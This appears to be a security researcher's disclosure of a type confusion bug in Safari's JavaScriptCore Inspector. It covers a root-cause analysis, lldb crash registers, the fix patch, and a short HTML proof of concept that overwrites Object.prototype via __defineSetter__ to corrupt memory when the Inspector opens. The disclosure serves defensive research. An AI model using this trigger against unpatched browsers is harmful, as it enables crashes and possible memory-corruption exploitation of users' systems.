Title
- Apple Safari JavaScriptCore Inspector Type confusion Vulnerability
Summary
- A Type confusion vulnerability exists in the Apple Safari JSC Inspector
- This issue causes Memory Corruption due to Type confusion.
- An attacker must open a arbitrary generated HTML file to exploit this vulnerability.
Test environment
- macOS M1 Monterey 12.5(21G72)
- Apple Safari 15.6(17613.3.9.1.5)
Root Cause Analysis
InjectedScript InjectedScriptManager::injectedScriptFor(JSGlobalObject* globalObject)
{
auto it = m_scriptStateToId.find(globalObject);
if (it != m_scriptStateToId.end()) {
auto it1 = m_idToInjectedScript.find(it->value);
if (it1 != m_idToInjectedScript.end())
return it1->value;
}
if (!m_environment.canAccessInspectedScriptState(globalObject))
return InjectedScript();
int id = injectedScriptIdFor(globalObject);
auto createResult = createInjectedScript(globalObject, id);
if (!createResult) {
auto& error = createResult.error();
ASSERT(error);
if (globalObject->vm().isTerminationException(error))
return InjectedScript();
unsigned line = 0;
unsigned column = 0;
auto& stack = error->stack();
if (stack.size() > 0)
stack[0].computeLineAndColumn(line, column);
WTFLogAlways("Error when creating injected script: %s (%d:%d)\\n", error->value().toWTFString(globalObject).utf8().data(), line, column);
RELEASE_ASSERT_NOT_REACHED();
}
if (!createResult.value()) { // hit point
WTFLogAlways("Missing injected script object");
RELEASE_ASSERT_NOT_REACHED();
}
InjectedScript result({ globalObject, createResult.value() }, &m_environment);
m_idToInjectedScript.set(id, result);
didCreateInjectedScript(result);
return result;
}
- https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/inspector/InjectedScriptManager.cpp#L195
- Crash in
Inspector::InjectedScriptManager::injectedScriptFor + 2872
. This is because the globalObject pointer has a Type Confusion problem. - PAC exception during invalid globalObject pointer verification step.
- The reason for this problem is that the prototype is not defined first, so you can overwrite the prototype using
__defineSetter__
. (You can see it in the InjectedScriptSource.js file.) - https://github.com/WebKit/WebKit/blob/37f814d56d6446ea011af18ee65b6644c1127b4e/Source/JavaScriptCore/inspector/InjectedScriptSource.js
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x9c7980019f2cc1d0)
Note: Possible pointer authentication failure detected.
Found value that failed to authenticate at address=0x19f2cc1d0.
frame #0: 0x00000001b796e9d0 JavaScriptCore`WTFCrashWithInfo(int, char const*, char const*, int) + 20
JavaScriptCore`WTFCrashWithInfo:
-> 0x1b796e9d0 <+20>: brk #0xc471
0x1b796e9d4 <+24>: brk #0x1
JavaScriptCore`WTF::AutomaticThread::threadDidStart:
0x1b796e9d8 <+0>: ret
JavaScriptCore`WTF::AutomaticThread::threadIsStopping:
0x1b796e9dc <+0>: ret
Target 0: (com.apple.WebKit.WebContent) stopped.
(lldb) reg read
General Purpose Registers:
x0 = 0x00000000000000ce
x1 = 0x00000001b8c3cef5 "./inspector/InjectedScriptManager.cpp"
x2 = 0x00000001b8c3cf1b "Inspector::InjectedScript Inspector::InjectedScriptManager::injectedScriptFor(JSC::JSGlobalObject *)"
x3 = 0x00000000000000e5
x4 = 0xffffffffca2eb078
x5 = 0x0000000000000008
x6 = 0x000000000000000a
x7 = 0x0000000000000001
x8 = 0x0000000000000001
x9 = 0x0000000000000000
x10 = 0x00000021a0e33805
x11 = 0x0000000000000001
x12 = 0x0000000000000001
x13 = 0x8000000008041000
x14 = 0x0000000106360138
x15 = 0x0000007ff0000000
x16 = 0x9c7980019f2cc1d0 (0x000000019f2cc1d0) libsystem_kernel.dylib`mach_approximate_time
x17 = 0x00000001fa6c2ae8 (void *)0x9c7980019f2cc1d0
x18 = 0x0000000000000000
x19 = 0x000000010d0719c0
x20 = 0x0000000135413000
x21 = 0x00000001350c5a68
x22 = 0x0000000000000001
x23 = 0x000000010d072a40
x24 = 0x00000001b8b9a110 JavaScriptCore`InjectedScriptSource_js
x25 = 0x0000000000000000
x26 = 0x0000000000000010
x27 = 0x000000010d024e20
x28 = 0x0000000000000000
fp = 0x000000016b131340
lr = 0x00000001b8352574 JavaScriptCore`Inspector::InjectedScriptManager::injectedScriptFor(JSC::JSGlobalObject*) + 2872
sp = 0x000000016b131250
pc = 0x00000001b796e9d0 JavaScriptCore`WTFCrashWithInfo(int, char const*, char const*, int) + 20
cpsr = 0x80001000
- If you attach lldb and check the log immediately after the crash occurs, you can confirm that a failure occurred in the PAC verification.
Proof-of-Concept
<script>
let object = {};
Object.prototype.__defineSetter__('type', function() {
object.x = {};
object[0] = object.x;
});
</script>
Reproduce
- Download the attached file.
- open poc.html on Apple Safari.
- open Inspector.
Patch
@@ -57,6 +57,9 @@ function createArrayWithoutPrototype(/* value1, value2, ... */)
function createInspectorInjectedScript(InjectedScriptHost, inspectedGlobalObject, injectedScriptId)
{
+ function PrototypelessObjectBase() {}
+ PrototypelessObjectBase.prototype = null;
+
function toString(obj)
{
return @String(obj);
@@ -127,10 +130,12 @@ function max(a, b) {
// -------
- let InjectedScript = class InjectedScript
+ let InjectedScript = class InjectedScript extends PrototypelessObjectBase
{
constructor()
{
+ super();
+
this._lastBoundObjectId = 1;
this._idToWrappedObject = @createObjectWithoutPrototype();
this._idToObjectGroupName = @createObjectWithoutPrototype();
@@ -969,10 +974,12 @@ var injectedScript = new InjectedScript;
// -------
- let RemoteObject = class RemoteObject
+ let RemoteObject = class RemoteObject extends PrototypelessObjectBase
{
constructor(object, objectGroupName, forceValueType, generatePreview, columnNames)
{
+ super();
+
this.type = typeof object;
if (this.type === "undefined" && InjectedScriptHost.isHTMLAllCollection(object))
@@ -1496,9 +1503,12 @@ let RemoteObject = class RemoteObject
// -------
- InjectedScript.CallFrameProxy = class CallFrameProxy {
+ InjectedScript.CallFrameProxy = class CallFrameProxy extends PrototypelessObjectBase
{
constructor(ordinal, callFrame)
{
+ super();
+
this.callFrameId = `{"ordinal":${ordinal},"injectedScriptId":${injectedScriptId}}`;
this.functionName = callFrame.functionName;
CREDIT Information
- Dohyun Lee (@l33d0hyun) of SSD Labs
댓글